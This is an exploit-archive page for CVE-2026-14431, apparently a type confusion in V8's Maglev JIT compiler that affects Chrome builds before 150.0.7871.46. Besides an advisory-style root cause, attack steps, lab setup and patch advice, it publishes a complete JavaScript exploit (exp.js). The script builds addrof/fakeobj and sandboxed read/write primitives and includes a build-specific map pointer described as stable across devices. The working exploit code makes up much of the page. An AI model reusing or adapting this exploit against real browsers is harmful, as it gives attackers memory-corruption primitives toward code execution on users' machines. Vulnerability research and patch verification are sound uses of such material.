PoC Archive PoC Archive
High CVE-2026-14431 unpatched

V8 Array Iterator Maglev Type Confusion — addrof/fakeobj Primitives (CVE-2026-14431)

by Jafork (jaf0rk) · 2026-07-19

CVSS 8.8/10
Severity
High
CVE
CVE-2026-14431
Category
binary
Affected product
V8 JavaScript engine (Google Chrome and other Chromium-based browsers)
Affected versions
Google Chrome prior to 150.0.7871.46; PoC developed/tested against V8 14.9.207.29
Disclosed
2026-07-19
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / ResearcherJafork (jaf0rk)
CVE / AdvisoryCVE-2026-14431
Categorybinary
SeverityHigh
CVSS Score8.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
StatusPoC — real, working sandboxed read/write primitives (addrof/fakeobj); no sandbox-escape/RCE chain published (author states this is still in progress)
Tagsv8, javascript-engine, chromium, maglev, type-confusion, array-iterator, cwe-843, sandboxed-read-write, memory-corruption
RelatedN/A

Affected Target

FieldValue
Software / SystemV8 JavaScript engine (Google Chrome and other Chromium-based browsers)
Versions AffectedGoogle Chrome prior to 150.0.7871.46; PoC developed/tested against V8 14.9.207.29
Language / PlatformC++ (V8’s Maglev mid-tier JIT compiler), triggered via JavaScript
Authentication RequiredNo
Network Access RequiredYes — victim must load a crafted HTML/JS page (user interaction required, UI:R)

Summary

Array.prototype[Symbol.iterator]().next() is miscompiled by V8’s Maglev JIT tier: ArrayIteratorPrototypeNext fails to re-check the map (elements kind) of an inlined array after a side effect can change it mid-call, leading to a type confusion between PACKED_DOUBLE_ELEMENTS and tagged/pointer elements. By forcing a map transition on the iterated array from inside a re-entrant callback (triggered via Function.prototype.arguments access on a still-executing frame) while Maglev-compiled code still believes the array’s old elements kind is in effect, an attacker gets the JIT to treat a raw double value as a tagged pointer (or vice versa). This yields classic addrof/fakeobj primitives — reading a JS object’s address and forging fake objects at attacker-chosen addresses — giving read/write access within V8’s memory sandbox. The bug was fixed upstream by adding a map check for the inlined array in ArrayIteratorPrototypeNext (Chromium bug 523884658).


Vulnerability Details

Root Cause

Tracked upstream as a V8 Maglev type confusion (CWE-843, Type Confusion). Maglev inlines ArrayIteratorPrototypeNext and, for a PACKED_DOUBLE_ELEMENTS or plain tagged array, assumes the array’s elements-kind map stays constant for the duration of the inlined function. The PoC defeats this by triggering a re-entrant call during iteration: a wrapper function reads .arguments off a still-live outer frame (eval('tagged_inner.arguments') / eval('double_inner.arguments')) and uses it to overwrite the array’s backing elements with a different representation (tagged object vs. double) between the map check and the actual element read that Maglev compiled assuming the old map. The JIT then reads the new representation’s bits as if they were still the old type — a double value gets reinterpreted as a tagged pointer, or vice versa, without any bounds/type validation in between.

Attack Vector

  1. Warm up two pairs of functions (tagged_outer/tagged_inner/tagged_next/tagged_reflect and the double_* equivalents) in a tight loop (0x8000 iterations) so Maglev JIT-compiles ArrayIteratorPrototypeNext for both a tagged-value array and a double-value array.
  2. Flip a transition flag so that, on the next call, the re-entrant *_reflect() function (invoked via .arguments access on the currently-executing inlined frame) overwrites the iterated array’s elements with an attacker-controlled tagged value or double, exploiting the same map-staleness window Maglev’s inlining relies on.
  3. The type-confused read/write is used to build addrof(obj) (leak an object’s address by confusing it into a raw double) and get_fake_obj(addr)/cage_read/cage_write (forge a fake PACKED_DOUBLE_ELEMENTS array object at an attacker-chosen address, using a stable, build-specific compressed map pointer, to get arbitrary read/write within the V8 sandbox).
  4. From there, an attacker can corrupt further JS engine internals to build toward full code execution — though this specific PoC stops at the sandboxed read/write primitive stage.

Impact

Per Google’s own advisory: “Type Confusion in V8 in Google Chrome… allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page” (Chromium security severity: High). This PoC provides the memory read/write primitives that such an exploit chain would be built on; the author explicitly notes no V8-sandbox-escape has yet been identified to chain with it, so as published this achieves sandboxed corruption/read-write, not a full browser-to-OS compromise.


Environment / Lab Setup

OS:           Ubuntu 24.04 noble x64
V8 version:   14.9.207.29 (commit 6511f6cfab1f24c360d0fb737d205c27da48a623)
Build args:   is_debug = false
              dcheck_always_on = false
              v8_symbol_level = 2
              v8_enable_object_print = true
              v8_enable_sandbox = true
              target_os = "linux"
              target_cpu = "x64"

Setup Steps

Build a matching V8/d8 shell from the commit above with the listed gn args (or use a Chrome build prior to 150.0.7871.46 with --allow-natives-syntax-equivalent debug hooks).


Proof of Concept

See exp.js in this folder — mirrored from jaf0rk/CVE-2026-14431. Verified before ingestion: read the full script — a compact, technically coherent V8 exploit using standard, well-documented addrof/fakeobj construction techniques (float/bigint reinterpretation via a shared ArrayBuffer, GC-triggering helpers, iterator re-entrancy via .arguments). No obfuscation, no unrelated network or filesystem access — everything operates purely on in-process V8 JS objects. Cross-checked the linked bug fix (chromium-review.googlesource.com/c/v8/v8/+/7950517, Chromium issue 523884658, “[maglev] Check map of inlined array in ArrayIteratorPrototypeNext”) against NVD’s own description of CVE-2026-14431 (“Type Confusion in V8… via a crafted HTML page”) — consistent and specific, not a generic/templated writeup. The author’s own caveat that no sandbox-escape chain exists yet is a realistic, non-oversold claim rather than a “full RCE” overstatement.

Step-by-Step Reproduction

1
d8 --allow-natives-syntax exp.js

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// exp.js — the core re-entrant type-confusion trigger
function tagged_reflect() {
  const a = eval('tagged_inner.arguments');   // re-entrant frame access
  if (transition) {
    a[1][0] = tagged_value;                   // overwrite array elements
    a[1][1] = tagged_value;                   // mid-iteration, defeating Maglev's
  } else {                                    // stale map assumption
    a[1][0] = 3.3;
    a[1][1] = 3.3;
  }
}
function tagged_next(iterator) { return iterator.next().value; }
function tagged_inner(iterator, array) { tagged_reflect(); return tagged_next(iterator); }
function tagged_outer() {
  const array = [1.1, 2.2];
  const iterator = array.values();
  return tagged_inner(iterator, array);
}
// (double_* variants are the mirror-image confusion in the other direction)

function addrof(obj) {
  tagged_value = obj;
  return utils.low(utils.ftoi(tagged_outer()));   // leak obj's address as a double
}

function get_fake_obj(addr) {
  double_value = utils.itof(addr);
  const map        = 0x0100d131n;   // stable compressed PACKED_DOUBLE_ELEMENTS map for this build
  const properties = 0x000007e5n;
  set_map_properties(map, properties);
  set_elements(1n, addr);
  return double_outer();            // forge a fake array object at `addr`
}

Expected Output

Running under d8 --allow-natives-syntax exp.js prints the debug representation of a forged fake object aliased over an attacker-chosen address (via %DebugPrint) and drops into %SystemBreak() for interactive inspection — confirming addrof/fakeobj succeeded and arbitrary sandboxed read/write via cage_read/cage_write is live.


Detection & Indicators of Compromise


Remediation

ActionDetail
PatchUpgrade Google Chrome (or any Chromium-based browser) to 150.0.7871.46 or later, which includes the map-check fix in ArrayIteratorPrototypeNext.
WorkaroundNone beyond staying current on browser updates — this is a JIT-compiler correctness bug in the shipped engine, not a configuration issue.

References


Notes

Flagged directly by the user for ingestion, then verified before archiving per this archive’s standing rule: read exp.js in full and cross-checked the referenced Chromium fix commit and bug ID against NVD’s own CVE-2026-14431 description — consistent and specific. The author candidly notes this PoC provides sandboxed read/write primitives only; no V8-sandbox-escape chain has been published to extend this to full renderer-to-OS code execution.

exp.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
/**
 * Author: Jafork
 * Date: 2026/07/17
 * V8: 14.9.207.29
 * bug: https://issues.chromium.org/issues/523884658
 */
class Utils{
    constructor(){
        this.cvt_buf    = 
            new ArrayBuffer(8);
        this.cvt_f64a   = 
            new Float64Array(this.cvt_buf);
        this.cvt_u64a   = 
            new BigUint64Array(this.cvt_buf);
        this.cvt_u32a   = 
            new Uint32Array(this.cvt_buf);
    }

    low(num) {
        let ret = BigInt(num) & 0xFFFFFFFFn;
        return BigInt(ret);
    }
    
    high(num) {
        let ret = (BigInt(num) & 0xFFFFFFFF00000000n) >> 32n;
        return BigInt(ret);
    }

    // float -> bigint
    ftoi(f) {
        this.cvt_f64a[0] = f;
        return this.cvt_u64a[0];
    }

    // bigint -> float
    itof(i) { 
        this.cvt_u64a[0] = i;
        return this.cvt_f64a[0];
    }
    
    // 合并
    pair(h,l) {
        return BigInt(h) * 
            (2n**32n) + BigInt(l);
    }

    gc_minor() { //scavenge
        for(let i = 0; i < 1000; i++) {
            new ArrayBuffer(0x10000);
        }
    }
    
    gc_major() { //mark-sweep
        new ArrayBuffer(0x7fe00000);
    }
  
}

let utils = new Utils();
let transition = false;
let tagged_value;
let double_value;
function tagged_reflect() {
  const a = eval('tagged_inner.arguments');
  if (transition) {
    a[1][0] = tagged_value;
    a[1][1] = tagged_value;
  } else {
    a[1][0] = 3.3;
    a[1][1] = 3.3;
  }
}
function tagged_next(iterator) {
  return iterator.next().value;
}
function tagged_inner(iterator, array) {
  tagged_reflect();
  return tagged_next(iterator);
}
function tagged_outer() {
  const array = [1.1, 2.2];
  const iterator = array.values();
  return tagged_inner(iterator, array);
}
function double_reflect() {
  const a = eval('double_inner.arguments');
  if (transition) {
    a[1][0] = double_value;
    a[1][1] = double_value;
  } else {
    a[1][0] = 3;
    a[1][1] = 3;
  }
}
function double_next(iterator) {
  return iterator.next().value;
}
function double_inner(iterator, array) {
  double_reflect();
  return double_next(iterator);
}
function double_outer() {
  const array = [1, 2];
  const iterator = array.values();
  
  return double_inner(iterator, array);
}

for(let i=0; i<0x8000; i++) {
  tagged_outer();
  double_outer();
}

transition = true;

function addrof(obj) {
  tagged_value = obj;
  return utils.low(
    utils.ftoi(tagged_outer()));
}

function set_elements(len, elem) {
  fake_arr[1] = utils.itof(
    utils.pair(len*2n, elem));
}

function set_map_properties(map, properties) {
  fake_arr[0] = utils.itof(
    utils.pair(properties, map));
}

function get_fake_obj(addr) {
  double_value = utils.itof(addr);
  /**
   * For the same Chrome build, platform, ABI, and V8 snapshot, the 32-bit
   * compressed PACKED_DOUBLE_ELEMENTS map pointer is stable across devices.
   * For other builds or configurations, determine the corresponding value first.
   */
  const map         = 0x0100d131n;
  const properties  = 0x000007e5n;
  set_map_properties(map, properties);
  set_elements(1n, addr);
  return double_outer();
}

function cage_read(addr) {
  set_elements(1n, addr);
  return fake_object[0];
}

function cage_write(addr, value) {
  set_elements(1n, addr);
  fake_objectp[0] = value;
}


let fake_arr = [1.1, 1.2];
let fa_addr = addrof(fake_arr) + 0x20n;
let fake_object = get_fake_obj(fa_addr);

%DebugPrint(fake_arr);
%DebugPrint(fake_object);
%SystemBreak();